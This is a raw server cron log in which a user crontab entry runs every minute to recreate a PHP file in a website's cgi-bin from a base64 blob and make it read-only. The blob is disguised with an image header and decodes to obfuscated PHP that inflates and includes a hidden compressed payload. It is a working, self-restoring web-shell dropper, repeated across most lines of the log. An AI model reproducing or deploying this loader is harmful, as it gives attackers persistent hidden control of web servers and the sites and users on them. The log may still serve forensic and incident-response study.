Nov 12 06:01:01 server CROND[8340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:01:01 server run-parts(/etc/cron.hourly)[8339]: starting 0anacron
Nov 12 06:01:01 server run-parts(/etc/cron.hourly)[8352]: finished 0anacron
Nov 12 06:02:01 server CROND[9337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:03:01 server CROND[10152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:04:01 server CROND[10966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:05:01 server CROND[11836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 06:05:01 server CROND[11838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:05:01 server CROND[11840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:05:01 server CROND[11839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:06:01 server CROND[12745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:07:01 server CROND[13566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:08:01 server CROND[14442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:09:01 server CROND[15254]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 06:09:01 server CROND[15255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:10:01 server CROND[16102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:10:01 server CROND[16104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:10:01 server CROND[16106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:10:01 server CROND[16105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 06:11:01 server CROND[16980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:12:01 server CROND[17567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:12:01 server CROND[17569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 06:13:01 server CROND[18483]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
